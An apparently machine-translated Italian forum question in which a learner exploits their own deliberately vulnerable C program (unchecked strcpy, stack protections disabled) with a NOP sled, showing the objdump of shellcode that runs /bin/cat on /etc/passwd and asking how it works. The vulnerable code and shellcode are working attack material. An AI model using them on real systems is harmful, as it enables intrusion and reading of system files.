È praticamente la prima volta che utilizzo un exploit di buffer overflow. Ho scritto un semplice programma C vulnerabile ai buffer overflow:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main()
{
char* filename = getenv("filename");
char buff[128];
strcpy(buff, filename);
}
L'ho compilato in questo modo sul mio Ubuntu Server 10.04 (i386)
gcc vuln.c -o vuln -z execstack -fno-stack-protector
Ho provato a iniettare vari tipi di shellcode dopo aver scoperto quanti byte sono necessari nel nome del file per sovrascrivere l'indirizzo di ritorno (quindi passo una diapositiva NOP + un indirizzo shellcode + che porta alla diapositiva NOP attraverso la variabile d'ambiente filename ). Le varianti comuni di execve bin / sh hanno provocato un errore di segmentazione all'interno del proprio codice, per qualche motivo, ma uno shellcode particolarmente specifico ha funzionato davvero per me:
Tratto da link Invoca execve per eseguire / bin / cat su / etc / passwd
Disassembly of section .text:
08048060 <.text>:
8048060: eb 1f jmp 0x8048081
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 0b mov %al,0xb(%ebx)
8048068: 88 43 18 mov %al,0x18(%ebx)
804806b: 89 5b 19 mov %ebx,0x19(%ebx)
804806e: 8d 4b 0c lea 0xc(%ebx),%ecx
8048071: 89 4b 1d mov %ecx,0x1d(%ebx)
8048074: 89 43 21 mov %eax,0x21(%ebx)
8048077: b0 0b mov $0xb,%al
8048079: 8d 4b 19 lea 0x19(%ebx),%ecx
804807c: 8d 53 21 lea 0x21(%ebx),%edx
804807f: cd 80 int $0x80
8048081: e8 dc ff ff ff call 0x8048062
8048086: 2f das
8048087: 2f das
8048088: 2f das
8048089: 2f das
804808a: 62 69 6e bound %ebp,0x6e(%ecx)
804808d: 2f das
804808e: 63 61 74 arpl %sp,0x74(%ecx)
8048091: 23 2f and (%edi),%ebp
8048093: 2f das
8048094: 65 74 63 gs je 0x80480fa
8048097: 2f das
8048098: 70 61 jo 0x80480fb
804809a: 73 73 jae 0x804810f
804809c: 77 64 ja 0x8048102
804809e: 23 41 4a and 0x4a(%ecx),%eax
80480a1: 49 dec %ecx
80480a2: 54 push %esp
80480a3: 48 dec %eax
80480a4: 41 inc %ecx
80480a5: 4a dec %edx
80480a6: 49 dec %ecx
80480a7: 54 push %esp
80480a8: 48 dec %eax
80480a9: 4b dec %ebx
80480aa: 50 push %eax
Ora, quello che vedi qui è l'output objdump e non l'assemblaggio originale che non sono riuscito a trovare. Sembra che le stringhe / bin / cat e / etc / passwd vengano dopo tutti quegli opcode "2F". Una rapida lettura di questo codice operativo mi porta a
Adjusts the result of the subtraction of two packed BCD values to create a packed BCD result.
Non ho idea di cosa significhi, comunque, o di come questo contribuisca allo shellcode. Qualcuno può provare a spiegarlo?
- Inoltre, volevo regolare questo shellcode solo un po ', quindi chiama / bin / cat su un percorso file diverso da / etc / passwd, come / home / kfir / helloworld, ma sarà tagliato fuori a / home / kfir / - che ha la stessa lunghezza di / etc / passwd (11 caratteri)